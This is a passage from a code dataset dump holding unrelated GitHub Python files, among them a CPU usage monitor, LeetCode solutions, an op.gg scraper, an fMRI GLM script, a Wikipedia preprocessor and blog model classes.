\"\"\"\n\n if not node_id:\n node_id = tree.add_node('root')\n\n if depth < max_depth:\n for _ in range(randint(2, branch_size)):\n node_pk = tree.add_node('x', node_id)\n self._generate_tree(tree, node_pk, max_depth, depth=depth + 1)\n\n def _timed_move(self, tree, node_id, parent_id):\n \"\"\"\n Executes the move node functionality and returns the execution time.\n :param tree: the tree in which the operation will be performed.\n :param node_id: the id of the node that will be moved\n :param parent_id: the id of the new parent to which the node will be attached\n :return: the execution time\n \"\"\"\n\n t = Timer(lambda: tree.move_node(node_id, parent_id))\n return t.timeit(1)\n\n def test_random_move(self):\n \"\"\"\n Test for the move node functionality.\n \"\"\"\n\n print('=========================')\n\n # create tree randomly and recursively\n tree = ClosureTree()\n root_id = tree.add_node('root')\n self._generate_tree(tree, root_id, max_depth=2, branch_size=2)\n\n print('Stress test for moving nodes. Tree size: {}'.format(tree.node_count()))\n\n # generate 2 random nodes from the children of the root node\n r = tree.get_descendants(root_id)\n r = [x.descendant for x in r]\n max_index = len(r) - 1\n\n moving_node_id = r[randint(0, max_index)]\n parent_node_id = r[randint(0, max_index)]\n\n while parent_node_id == moving_node_id:\n parent_node_id = r[randint(0, max_index)]\n\n print('Moving {} under {}.'.format(moving_node_id, parent_node_id))\n\n # move the node to the new parent and time the execution\n t1_1 = self._timed_move(tree, moving_node_id, parent_node_id)\n\n # move the node back and time the execution\n t1_2 = self._timed_move(tree, moving_node_id, parent_node_id)\n\n print('Standard: moved node:\\n\\t-> {}\\n\\t<- {}'.format(t1_1, t1_2))\n","repo_name":"xyder/py_sql_trees","sub_path":"tests/closure_table_test.py","file_name":"closure_table_test.py","file_ext":"py","file_size_in_byte":3962,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18551755285","text":"#!/usr/bin/env python3\n\n# Panel CPU usage monitor\n\nimport pickle\nimport time\nimport subprocess\nimport os\nfrom os.path import expanduser\n\nhome = expanduser(\"~\")\n\nfilename = home + '/Programs/output/.temp/mypickle.pk'\n\nif not os.path.exists(filename):\n\twith open(filename, 'wb') as fi:\n\t\tsavedValues=[1,2]\n\t\t# dump your data into the file\n\t\tpickle.dump(savedValues, fi)\n\nwith open(filename, 'rb') as fi:\n\tsavedValues = pickle.load(fi)\n\n\n#print(savedValues[0])\npreviousTotal = int(savedValues[0])\npreviousIdle = int(savedValues[1])\n#print(previousIdle)\n\ndef doThing():\n\tf = open(\"/proc/stat\", \"r\")\n\tresult = f.readline().strip('\\n').strip()\n\t#print(result)\n\tname, notNeeded, user, nice, system, idle, iowait, irq, softirq, steal, _, _ = result.split(\" \")\n\n\t#commandString = \"grep ^cpu. /proc/stat | head -n 1\"\n\t#handle = subprocess.check_output(['grep', '^cpu.', '/proc/stat'])\n\t#local handle = io.popen(\"grep ^cpu. /proc/stat | head -n 1\")\n\t#local result = handle:read(\"*a\")\n\t#handle:close()\n\t#local name, user, nice, system, idle, iowait, irq, softirq, steal, _, _ =\n\t#result:match('(%w+)%s+(%d+)%s(%d+)%s(%d+)%s(%d+)%s(%d+)%s(%d+)%s(%d+)%s(%d+)%s(%d+)%s(%d+)')\n\n\ttotal = int(user) + int(nice) + int(system) + int(idle) + int(iowait) + int(irq) + int(softirq) + int(steal)\n\ttotal = int(total)\n\tidle = int(idle)\n\t#print(previousIdle)\n\t#print(total)\n\ttotalA = total - previousTotal\n\tidleA = idle - previousIdle\n\t#previousTotal = total\n\t#previousIdle = idle\n\tfraction = idleA/totalA\n\tusage = 1-fraction\n\tpercentage = usage*100\n\tpercentageR = 0\n\tif percentage < 9.995:\n\t\tpercentageR = round(percentage, 2)\n\t\tpercentageR = '{0:.2f}'.format(percentageR)\n\telse:\n\t\tpercentageR = round(percentage, 1)\n\t\tpercentageR = '{0:.1f}'.format(percentageR)\n\n\t#if percentage < 10:\n\t# percentageR = round2(percentage)\n\t#else:\n\t# percentageR = round1(percentage)\n\n\ttoSetA = str(percentageR) + \"%\"\n\tsavedValues[0] = total\n\tsavedValues[1] = idle\n\tprint(toSetA + \" \")\n\n\ndoThing()\n\n#time.sleep(1)\n#doThing()\n#time.sleep(1)\n#doThing()\n\n\n\nwith open(filename, 'wb') as fi:\n\t# dump your data into the file\n\tpickle.dump(savedValues, fi)\n","repo_name":"randomcoder67/XFCE-Laptop-Config","sub_path":"system/panel/cpu.py","file_name":"cpu.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24661323796","text":"import math\nimport numba as nb\nimport time\n\n@nb.njit \ndef quad_trap(f,a,b,N):\n h = (b-a)/N\n integral = h * ( f(a) + f(b) ) / 2\n for k in range(N):\n xk = (b-a) * k/N + a\n integral = integral + h*f(xk)\n return integral\n\n@nb.njit(nb.float64(nb.float64))\ndef func(x):\n return math.exp(x) - 10\n\ndef f(p): \n @nb.njit(nb.float64(nb.float64))\n def integrand(x):\n return math.exp(p*x) - 10\n return quad_trap(integrand, -1, 1, 10000) \n\n\n# warm-up JIT\nq1 = quad_trap(func,-1,1,10000)\n\nstart_time = time.time()\nq1 = quad_trap(func,-1,1,10000)\nprint(\"Quadrature--- %s seconds ---\" % (time.time() - start_time))\n\n# warm-up JIT\na = f(1)\n\nstart_time = time.time()\nr = f(1)\nprint(\"Eval f(1)--- %s seconds ---\" % (time.time() - start_time))\n\n\n","repo_name":"mdmaas/julia-numba","sub_path":"TrapezoidalParam_numba.py","file_name":"TrapezoidalParam_numba.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"41957846261","text":"from typing import List\n\nclass Solution:\n def singleNumber(self, nums: List[int]) -> int:\n '''\n Given a non-empty array of integers, every element appears\n twice except for one. Find that single one.\n \n Params:\n nums - List of integers where all but one integer\n appears twice. The different integer should only\n appear once.\n Returns:\n int - the integer who only appears once in nums.\n '''\n num_set = set()\n \n for x in nums:\n if x in num_set:\n num_set.remove(x)\n else:\n num_set.add(x)\n \n # Only one number should remain\n \n # If not, whatever number pop() returns will\n # have only appeared once\n return num_set.pop()\n","repo_name":"Hilldrupca/LeetCode","sub_path":"python/Top Interview Questions - Easy/Arrays/singlenumber.py","file_name":"singlenumber.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38423075874","text":"#League Ban List\r\n#john.chan@utdallas.edu\r\n\r\n#requests allows python to make a post request\r\nimport requests\r\n#BeautifulSoup allows us to parse HTML\r\nfrom bs4 import BeautifulSoup\r\n#allows us to use regexes\r\nimport re\r\n#allows us to print out today's date and compare it to other dates\r\nfrom datetime import date\r\n#allows us to make relative filepaths\r\nimport os\r\n\r\n#used for scaling banRate\r\nlastUpdate = date(2017,7,12)\r\n\r\n#function returns a string with the current date\r\ndef todayStr():\r\n today = date.today()\r\n return str(today.month) + \"-\" + str(today.day) + \"-\" + str(today.year)\r\n\r\n#function used to turn win percentage and number of games from strings to ints\r\ndef grabNum(in_):\r\n in_ = re.sub(\"[^0-9.]\",\"\",in_)\r\n return float(in_)\r\n\r\n#function takes in individual champion data and calculates a win metric\r\ndef metric(dict):\r\n patchLength = date.today() - lastUpdate\r\n patchLength = patchLength.days\r\n #designed to be 0.25 as meta is new, then 1 when meta is 2 weeks old\r\n scaleFactor = patchLength*0.053+0.25\r\n if scaleFactor > 1:\r\n scaleFactor = 1\r\n return dict[\"winRate\"]\r\n\r\n#function that takes as input the formData and outputs the banlist\r\ndef generateBans(options):\r\n print(\"Generating bans for \" + options[\"league\"] + \" using \" + options[\"period\"] + \" data from OP.GG\")\r\n #BeautifulSoup setup: first downloads html from op.gg, then parses it with bSoup\r\n responseC = requests.post(\"https://na.op.gg/statistics/ajax2/champion/\", data = options)\r\n soupC = BeautifulSoup(responseC.text, \"html.parser\")\r\n #responseB is the ban page, responseC is the champion page\r\n responseB = requests.post(\"https://na.op.gg/champion/statistics\")\r\n soupB = BeautifulSoup(responseB.text, \"html.parser\")\r\n data = list()\r\n\r\n #uses BeautifulSoup to extract champion data\r\n for row in soupC.find_all(\"tr\")[1:]:\r\n champ = row.find_all(\"td\")[2].text.strip()\r\n winRate = row.find_all(\"td\")[3].text.strip()\r\n n_games = row.find_all(\"td\")[4].text.strip()\r\n\r\n #these check the ban page to get banrate data\r\n if champ.lower()=='wukong':\r\n banRate = soupB.select(\"a[href=/champion/monkeyking/statistics]\")[0].find(\"b\").string\r\n else:\r\n champString = soupB.select(\"a[href=/champion/\" + re.sub(\"[.,\\' ]\",\"\",champ).lower() + \"/statistics]\")\r\n #if the webpage cannot be found for the champion (cough cough kayn update)\r\n if not champString:\r\n print(\"Error loading data for \" + champ)\r\n banRate = 0\r\n #grabs the banrate for the champ from the HTML\r\n else:\r\n banRate = champString[0].find(\"b\").string\r\n data.append(dict(\r\n champ = champ,\r\n winRate = grabNum(winRate),\r\n n_games = grabNum(n_games),\r\n banRate = grabNum(banRate)\r\n ))\r\n\r\n #sorts the champion data by win metric (high to low)\r\n data.sort(key=metric, reverse = True)\r\n\r\n #opens a file for printing\r\n dir = os.path.dirname(__file__)\r\n filename = os.path.join(dir, \"banlists/\" + options[\"league\"].title() + \" \" + todayStr() + \".txt\")\r\n file = open(filename,\"w\")\r\n\r\n #prints out the champions with the highest win metric\r\n lineNum = 1\r\n file.write(\"Who to ban in \" + options[\"league\"].title() + \" on \" + todayStr() + \"\\n\\n Champ\" + 12*\" \" + \"BanScore\" + 5* \" \" + \"Ban Rate\" + 5*\" \" + \"Win Rate\\n\")\r\n for record in data:\r\n frontString = str(lineNum) + \": \" + record[\"champ\"]\r\n metricString = str(metric(record))[:5]\r\n banString = str(record[\"banRate\"])[:5]\r\n winrateString = str(record[\"winRate\"])[:5]\r\n firstSpacer = \" \" * (20 - len(frontString))\r\n secondSpacer = \" \" * (13 - len(metricString))\r\n thirdSpacer = \" \" * (13 - len(banString))\r\n file.write(frontString + firstSpacer + metricString + secondSpacer + banString + thirdSpacer + winrateString + \"\\n\")\r\n lineNum = lineNum + 1\r\n file.write(\"\\nGenerated with data from \" + options[\"period\"] + \" using winrate on \" + todayStr())\r\n file.close()\r\n\r\n\r\n#specifies the form options for op.gg post request necessary\r\nformData = dict(\r\n type='win',\r\n league='bronze',\r\n period='today',\r\n mapId='1',\r\n queue='ranked',\r\n)\r\n\r\n#actually using the function to generate banlists\r\ngenerateBans(formData)\r\n\r\nformData[\"league\"] = 'silver'\r\ngenerateBans(formData)\r\n\r\nformData[\"league\"] = 'gold'\r\ngenerateBans(formData)\r\n\r\nformData[\"league\"] = 'platinum'\r\ngenerateBans(formData)\r\n\r\nformData[\"league\"] = 'diamond'\r\ngenerateBans(formData)\r\n","repo_name":"jachan/loltools","sub_path":"generateBans.py","file_name":"generateBans.py","file_ext":"py","file_size_in_byte":4607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33760627998","text":"# -*- coding: utf-8 -*-\n\"\"\"\n @Time : 2020-10-16 8:32\n @Author : QDY\n @FileName: 977. 有序数组的平方.py\n @Software: PyCharm\n\"\"\"\n\"\"\"\n给定一个按非递减顺序排序的整数数组 A,返回每个数字的平方组成的新数组,要求也按非递减顺序排序。\n\n示例 1:\n输入:[-4,-1,0,3,10]\n输出:[0,1,9,16,100]\n\n示例 2:\n输入:[-7,-3,2,3,11]\n输出:[4,9,9,49,121]\n\n提示:\n1 <= A.length <= 10000\n-10000 <= A[i] <= 10000\nA已按非递减顺序排序。\n\n\"\"\"\n\n\nclass Solution:\n def sortedSquares(self, A):\n # return sorted(map(lambda x:x**2,A))\n res, tmp = [], []\n for i in range(len(A)):\n if A[i] < 0:\n tmp.append(A[i] ** 2)\n else:\n break\n l, r = i - 1, i\n while l >= 0 or r < len(A):\n if r == len(A) or (l >= 0 and tmp[l] < A[r] ** 2):\n res.append(tmp[l])\n l -= 1\n else:\n res.append(A[r] ** 2)\n r += 1\n return res\n","repo_name":"QDylan/Learning-","sub_path":"Leetcode/977. 有序数组的平方.py","file_name":"977. 有序数组的平方.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32047961574","text":"import requests\n\nresponse = requests.get('https://api.github.com')\n\nresponse.status_code\nresponse.content\nresponse.text\njson_response = response.json()\ntype(json_response)\njson_response.keys()\njson_response['authorizations_url']\n\nresponse = requests.get('https://api.github.com/search/repositories', params={'q': 'requests+language:python'})\njson_response = response.json()\nrepository = json_response['items'][0]\nprint('Repository name: ' + repository[\"name\"]) # Python 3.6+\nprint(f'Repository description: {repository[\"description\"]}') # Python 3.6+\n","repo_name":"akkensheen/devopsQ32019","sub_path":"lesson_31-32/common/requests.py","file_name":"requests.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38064267530","text":"import os\nimport sys\nfrom numpy import array\nimport pandas as pd\nfrom nilearn import image, masking\nfrom nilearn.glm.first_level import FirstLevelModel\nimport tempfile\nimport nibabel as nib \nimport datetime #for generating timestamps\nfrom nilearn import image\nfrom nilearn.glm.first_level import FirstLevelModel\n\nsys.path.append('/home/rt/rt-cloud/rtCommon/')\nsys.path.append('/home/rt/rt-cloud/')\nsys.path.append('/home/rt/rt-cloud/tests/')\n\ntmpPath = tempfile.gettempdir() # specify directory for temporary files\ncurrPath = os.path.dirname(os.path.realpath(__file__)) #'.../rt-cloud/projects/project_name'\nrootPath = os.path.dirname(os.path.dirname(currPath)) #'.../rt-cloud' \ndicomParentPath = '/home/rt/sambashare/' #.../rt-cloud/projects/project_name/dicomDir/\noutPath = rootPath+'/outDir' #'.../rt-cloud/outDir/'\n\ndirectories = []\nfor entry in os.scandir(dicomParentPath):\n if entry.is_dir():\n directories.append(entry.path)\n \nlatest_directory = max(directories, key=os.path.getctime)\n\ndicomPath = os.path.join(dicomParentPath, latest_directory)\nprint(\"Location of subject's dicoms: \\n\" + dicomPath + \"\\n\")\n\n# add the path for the root directory to your python path\nsys.path.append(rootPath)\n\n# archive = BidsArchive(tmpPath+'/bidsDataset')\nsubjID = sys.argv[1]\nprint(f\"\\n----Starting MSIT----\\n\")\n\n# load motor template mask and subject's functional data for analysis\nmotor_mask = currPath+'/template_masks/thr_Precentral_Gyrus_fsl_atlas.nii.gz'\nsubj_data_func = image.load_img(os.path.join(dicomPath, '*.nii'))\n\n# skull strip subject's func data\nsubj_skull_stripped = masking.compute_brain_mask(subj_data_func)\n\n# GLM\nevents = pd.read_table('/home/rt/rt-cloud/projects/adhd_rt/MSIT_Design.csv')\n\nprint(\"starting GLM\")\nfmri_glm = FirstLevelModel(t_r=1.06, \n standardize=False, \n signal_scaling=0, \n smoothing_fwhm=6, \n hrf_model=None, \n drift_model='cosine', \n high_pass=0.01,\n mask_img=motor_mask)\n\nfmri_glm = fmri_glm.fit(subj_data_func, events)\n\nconditions = {\n 'Control': array([1., -1., 0.]),\n 'Interference': array([-1., 1., 0.])\n}\n\n# Looking for significantly greater activation during interference condition than control.\ninter_minus_con = conditions['Interference'] - conditions['Control']\n\nz_map = fmri_glm.compute_contrast(inter_minus_con, output_type='z_score')\n\nz_map_bin = image.binarize_img(z_map)\n\n# Save to current subject's folder\n\n# Generate a unique filename based on timestamp and a random value\ntimestamp = datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\")\nunique_filename = f'motor_mask_{timestamp}.nii.gz'\n\n# Construct the directory path\noutput_dir = os.path.join(currPath, 'subjects', subjID)\n\n# Ensure the directory exists or create it if it doesn't\nif not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n# Save the NIfTI image with the unique filename in the subject's folder\noutput_file_path = os.path.join(output_dir, unique_filename)\nnib.save(z_map_bin, output_file_path)\n\nprint(\"Length of conditions['Control']:\", len(conditions['Control']))\n","repo_name":"bchcohenlab/rt-fMRI_Neurofeedback_of_ADHD","sub_path":"adhd_rt/msit_preproc_script_motor_cortex.py","file_name":"msit_preproc_script_motor_cortex.py","file_ext":"py","file_size_in_byte":3200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34894446948","text":"import rasterio\nfrom torch.utils.tensorboard import SummaryWriter\nimport skimage\nimport geopandas as gpd\nfrom matplotlib import pyplot as plt\nfrom shapely.ops import cascaded_union\nimport solaris as sol\n\nfrom tqdm import tqdm\nfrom skimage.external import tifffile as sktif\n\n# import shapely.wkt\nimport geopandas as gpd\nimport numpy as np\nimport cv2\nfrom functools import partial\n\nfrom fastai.imports import *\nfrom fastai.vision import *\nfrom fastai.metrics import dice\nfrom fastai.callbacks import *\n\nfrom joblib import Parallel, delayed\nimport torch.nn.functional as F\nimport torch\nimport functools, traceback\n\n\ndef scale_percentile(matrix):\n # scale tiff files read by tifffile to an rgb format readable by e.g. mpl for display\n w, h, d = matrix.shape\n matrix = np.reshape(matrix, [w * h, d]).astype(np.float64)\n # Get 2nd and 98th percentile\n mins = np.percentile(matrix, 1, axis=0)\n maxs = np.percentile(matrix, 99, axis=0) - mins\n matrix = (matrix - mins[None, :]) / maxs[None, :]\n matrix = np.reshape(matrix, [w, h, d])\n matrix = matrix.clip(0, 1)\n return matrix\n\n\ndef create_mask(img_id, mask_geojson, reference_im_path, output_mask_folder, road_mask_width=20):\n outfile = output_mask_folder / f\"{img_id}.png\"\n reference_im = rasterio.open(str(reference_im_path))\n road_mask = np.zeros((1300, 1300))\n df = gpd.read_file(mask_geojson)\n if len(df) > 0:\n\n try:\n road_mask = sol.vector.mask.road_mask(df,\n shape=(1300, 1300), reference_im=reference_im,\n width=road_mask_width, meters=False, burn_value=burn_value,\n out_type=int)\n\n\n except Exception as e:\n print(e, mask_fname)\n pass\n skimage.io.imsave(outfile, road_mask.astype('uint8'))\n\ndef create_small_tiles(img_filepath, mask_filepath, im_id, save_dir_rgb, save_dir_mask, new_img_height=512):\n img_rgb = sktif.imread(str(img_filepath))\n img_rgb = (255 * scale_percentile(img_rgb)).astype(np.uint8)\n\n mask = np.array(PIL.Image.open(mask_filepath))\n if mask.max() == 0:\n return\n\n rows, cols, channels = img_rgb.shape\n step_size =int( new_img_height / 3)\n\n for i in range(0,rows, step_size):\n for j in range(0, cols, step_size):\n if i + new_img_height > rows:\n i = rows-new_img_height\n if j + new_img_height > cols:\n j = cols-new_img_height\n im_arr = img_rgb[i: i+ new_img_height, j: j+new_img_height, :]\n mask_arr = mask[i: i+ new_img_height, j: j+new_img_height]\n if mask_arr.max() > 0:\n _ = PIL.Image.fromarray(im_arr)\n _.save(save_dir_rgb/ f\"rgb_{new_img_height}_{im_id}_{i}_{j}.jpg\")\n _= PIL.Image.fromarray(mask_arr)\n _.save(save_dir_mask / f\"mask_{new_img_height}_{im_id}_{i}_{j}.png\")\n\n\ndef get_random_crop_coords(img, new_h, new_w, n):\n h, w = img.shape[:2]\n if w == new_w and h == new_h:\n return 0, 0, h, w\n\n i_list = [random.randint(0, h - new_h) for i in range(n)]\n j_list = [random.randint(0, w - new_w) for i in range(n)]\n return i_list, j_list\n\n\n# def generate_cropped_img_mask(img_id, n_crops_per_img=15, new_h=256, new_w=256, dataset_type=\"train\"):\n# if dataset_type == \"train\":\n# cropped_dir = data_dir / \"cropped_training\"\n# else:\n# cropped_dir = data_dir / \"cropped_validation\"\n# instance_mask_fname = data_dir / \"training\" / f\"{img_id}_GTI.tif\"\n# mask_fname = data_dir / \"training\" / f\"{img_id}_pytorch_GTL.tif\"\n# img_fname = data_dir / \"training\" / f\"{img_id}_RGB.tif\"\n#\n# img_inst_mask = sktif.imread(str(instance_mask_fname))\n# img_mask = sktif.imread(str(mask_fname))\n# img_rgb = sktif.imread(str(img_fname))\n#\n# y_list, x_list = get_crop_coords(img_rgb, new_h, new_w, n_crops_per_img)\n#\n# instance_masks = [img_inst_mask[i: i + new_h, j: j + new_w] for (i, j) in zip(y_list, x_list)]\n# masks = [img_mask[i: i + new_h, j: j + new_w] for (i, j) in zip(y_list, x_list)]\n# rgbs = [img_rgb[i: i + new_h, j: j + new_w] for (i, j) in zip(y_list, x_list)]\n#\n# fnames_instance_masks = [cropped_dir / f\"{img_id}_{idx}_GTI.tif\" for idx in range(len(rgbs))]\n# fnames_masks = [cropped_dir / f\"{img_id}_{idx}_pytorch_GTL.tif\" for idx in range(len(rgbs))]\n# fnames_imgs = [cropped_dir / f\"{img_id}_{idx}_RGB.tif\" for idx in range(len(rgbs))]\n#\n# [sktif.imsave(str(fname), mask) for mask, fname in zip(instance_masks, fnames_instance_masks)]\n# [sktif.imsave(str(fname), mask) for mask, fname in zip(masks, fnames_masks)]\n# [sktif.imsave(str(fname), img) for img, fname in zip(rgbs, fnames_imgs)]","repo_name":"wwymak/spacenet-roads","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3580356006","text":"\"\"\"Preprocess Chinese Wiki data\n- Convert traditional Chinese to simplified Chinese\n- Remove non-Chinese words including punctuations and space\n- Tokenize the text into words\n- Convert xml into txt file\n\"\"\"\n\nimport sys\nimport os\nimport argparse\nimport logging\nimport wget\nimport jieba\nimport re\nfrom gensim.corpora.wikicorpus import WikiCorpus\nfrom opencc import OpenCC\nfrom tqdm import tqdm\n\ndef preprocess_wiki(input_file, output_file):\n # Import input file\n if not os.path.exists(input_file):\n url = 'https://dumps.wikimedia.org/zhwiki/latest/zhwiki-latest-pages-articles.xml.bz2'\n logging.info('Download Wiki dump from {}'.format(url))\n wget.download(url)\n wiki = WikiCorpus(input_file, lemmatize=False, dictionary=[])\n\n # Convert tradtional Chinese to simplified Chinese using OpenCC\n cc = OpenCC('t2s')\n # Segment the sentences into words using Jieba paddle mode\n jieba.enable_paddle()\n\n # Process Wiki text\n logging.info('Start processing Wiki text')\n output = open(output_file, 'w')\n i = 0\n for article in tqdm(wiki.get_texts()):\n raw = ' '.join(article)\n processed = []\n # Remove non-Chinese words\n for token in list(jieba.cut(cc.convert(raw))):\n matched = re.findall(r'[\\u4e00-\\u9fff]+', token)\n if matched:\n processed.append(matched[0])\n output.write(' '.join(processed) + '\\n')\n i += 1\n if (i % 10000 == 0):\n logging.info('Finished processing {} articles'.format(i))\n output.close()\n logging.info('Done')\n\ndef main():\n logging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(levelname)s %(message)s')\n\n parser = argparse.ArgumentParser(description='Preprocess Wiki dump')\n parser.add_argument('--input', type=str, default='zhwiki-latest-pages-articles.xml.bz2', help='Wiki dump path')\n parser.add_argument('--output', type=str, default='zhwiki_tokenized.txt', help='Output file path')\n args = parser.parse_args()\n \n preprocess_wiki(args.input, args.output)\n\nif __name__ == '__main__':\n main()","repo_name":"yipenglai/Chinese-Word-Representation","sub_path":"preprocess_wiki.py","file_name":"preprocess_wiki.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18302682805","text":"import random\nimport csv\n\nimport generators.happenings\nimport generators.seats\nimport generators.reservations\nimport generators.tickets\nfrom connection import Connection\nfrom app import App\n\n\nrandom.seed(2001)\n\ndef _read_csv_to_dict(filename, key_type):\n with open(filename, 'r') as f:\n reader = csv.DictReader(f)\n data = {}\n for row in reader:\n key = key_type(row.pop(next(iter(row))))\n data[key] = row\n\n return data\n\n\ncategories = {\"Theater\":{}, \"Concert\":{}}\n\nusers = _read_csv_to_dict(\"data/User.csv\", str)\nprint(\"Read {} users.\".format(len(users)))\n\nevents = _read_csv_to_dict(\"data/Event.csv\", int)\nprint(\"Read {} events.\".format(len(events)))\n\nlocations = _read_csv_to_dict(\"data/Location.csv\", int)\nprint(\"Read {} locations.\".format(len(locations)))\n\nhappenings = generators.happenings.generate(events, locations)\nprint(\"Generated {} happenings.\".format(len(happenings)))\n\nseats = generators.seats.generate(locations)\nprint(\"Generated {} seats.\".format(len(seats)))\n\n\nprint(\"Initial data generation successful!\")\nprint(\"-\"*40)\n\ndbname = input(\"Database name: \")\n\nconnection = Connection(dbname, log=False)\nprint(\"Connected to database.\")\n\nconnection.clear_tables()\nprint(\"Cleared all database data.\")\n\nconnection.insert_to_table(\"Category\", [], categories)\nconnection.insert_to_table(\"User\", [\"password\", \"name\"], users)\nconnection.insert_to_table(\"Event\", [\"description\", \"name\", \"category\"], events)\nconnection.insert_to_table(\"Location\", [\"name\", \"description\", \"latitude\", \"longitude\", \"capacity\"], locations)\nconnection.insert_to_table(\"Happening\", [\"event_id\", \"datetime\", \"location_id\", \"available_seats\"], happenings)\nconnection.insert_to_table(\"Seat\", [\"number\", \"location_id\", \"type\"], seats)\n\nconnection.commit_all()\nprint(\"Successfully wrote initial data to database!\")\nprint(\"-\"*40)\n\ndel connection\n\nprint(\"Connecting to the app interface...\")\napp = App(dbname, log=False)\nprint(\"Successfully connected to app!\")\nreservations = generators.reservations.generate(app)\nprint(\"Generated {} reservations.\".format(len(reservations)))\n\ntickets = generators.tickets.generate(app)\nprint(\"Generated {} tickets.\".format(len(tickets)))\n\napp.connection.commit_all()\nprint(\"Successfully wrote all data to database!\")\n","repo_name":"GavalasDev/ticket-booking-app","sub_path":"fill_db.py","file_name":"fill_db.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35010477253","text":"from users.utils.generator.id_generator import gen_id\nfrom users.posts.models import Post\nfrom users.drafts.model import Draft\nfrom users.records.record import Record\nfrom users.utils.generator.date_generator import time_now as date_created\nfrom users.utils.html_stripper import strip_html_tags\n\n\nclass ParentBlog(object):\n \"\"\" ParentBlog: class\n\n Each user on the application has a parent blog and from the parent blog\n many child blogs can be generated. This class SHOULD only be accessed\n from the user blog class and not directly.\n \"\"\"\n\n def __init__(self, user_id):\n self._user_id = user_id\n\n def create_blog(self, blog_form):\n \"\"\"create_blog(blog form object) -> returns child blog object\n Creates a child blog that allows the user to either create or delete a post\n\n :param\n `blog_form`: The post details which include the title, post content\n :returns\n Returns a blog object\n \"\"\"\n child_blog_id = gen_id()\n blog_data = self._to_json(blog_form, child_blog_id, date_created)\n\n if not Record.save(blog_data):\n raise Exception('Error, The blog data was not saved on the database.')\n return _ChildBlog(self._user_id, child_blog_id,\n blog_form.blog_name.data, blog_form.title.data,\n blog_form.description.data, _id=None, blog_live=True,\n date_created=date_created\n )\n\n @staticmethod\n def find_child_blog(child_blog_id):\n \"\"\"Takes a child blog id and if found returns that blog as an object\"\"\"\n\n data = Record.Query.Filter.filter_by_key_and_value({\"child_blog_id\": child_blog_id})\n return _ChildBlog(**data) if data else None\n\n def find_all_child_blogs(self):\n \"\"\"Returns all child blog created by this parent blog\"\"\"\n\n blogs = Record.Query.find_all(query={\"user_id\": self._user_id, \"blog_live\": True})\n return [_ChildBlog(**blog) for blog in blogs] if blogs else None\n\n def delete_all_child_blogs(self):\n \"\"\"Deletes all blogs and all posts, drafts and cooments associated with the blogs\"\"\"\n\n data = [{\"user_id\": self._user_id, \"blog_live\": True}, # Delete all blogs created by the user\n {\"user_id\": self._user_id, \"post_live\": True}, # Delete all post created by the user\n {\"user_id\": self._user_id, \"collection_name\": \"draft\"}, # Delete all drafts created by the user\n {\"user_id\": self._user_id, \"comment_live\":True}, # Delete all comments created by the user\n ]\n Record.Delete.delete_all_blogs(data=data)\n\n def _to_json(self, blog_form, child_blog_id, date_created):\n \"\"\"\"\"\"\n return {\n \"user_id\": self._user_id,\n \"child_blog_id\": child_blog_id,\n \"blog_name\": blog_form.blog_name.data,\n \"title\": blog_form.title.data,\n \"description\": blog_form.description.data,\n \"blog_live\": True,\n \"date_created\": date_created()\n }\n\n\nclass _ChildBlog(object):\n \"\"\"The Child blog is a child of the Parent blog and\n should not be called directly. It is also a container.\n \"\"\"\n\n def __init__(self, user_id, child_blog_id, blog_name,\n title, description, _id, blog_live, date_created):\n\n self.child_blog_id = child_blog_id\n self.blog_name = blog_name\n self.title = title\n self.description = description\n self.date_created = date_created\n self._id = _id\n self._user_id = user_id\n self._blog_live = blog_live\n self.Post = Post(user_id, child_blog_id)\n\n @staticmethod\n def html_strip(text):\n return strip_html_tags(text)\n\n def update_blog(self, data):\n \"\"\"Finds a specific blog by ID and updates that blog using the new data\"\"\"\n Record.Update.update(field_name='child_blog_id', field_id=self.child_blog_id, data=data)\n\n def delete_blog(self):\n \"\"\"Deletes a blog by ID\"\"\"\n Record.Delete.delete_blog(self.child_blog_id)\n","repo_name":"EgbieAndersonUku1/myBlog","sub_path":"src/users/blogs/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73454250666","text":"import heapq\nimport copy\nfrom math import cos\nfrom BaseSolver import BaseSolver\n\n\nclass Node:\n def __init__(self, path, matrix, level, i, j) -> None:\n self.path = path\n self.matrix = matrix\n\n n = len(self.matrix)\n if level != 0:\n for k in range(n):\n self.matrix[i][k] = self.matrix[k][j] = float('inf')\n self.matrix[j][0] = float('inf')\n self.level = level\n self.path.append(j)\n self.vertex = j\n\n self.cost = 0\n\n def __lt__(self, cmp):\n return self.cost < cmp.cost\n\n\ndef cost_calculation(matrix):\n cost = 0\n n = len(matrix)\n row = [float('inf')] * n\n col = [float('inf')] * n\n reduce_row(matrix, row)\n reduce_col(matrix, col)\n\n cost += sum([x for x in row if x != float('inf')])\n cost += sum([x for x in col if x != float('inf')])\n return cost\n\n\ndef 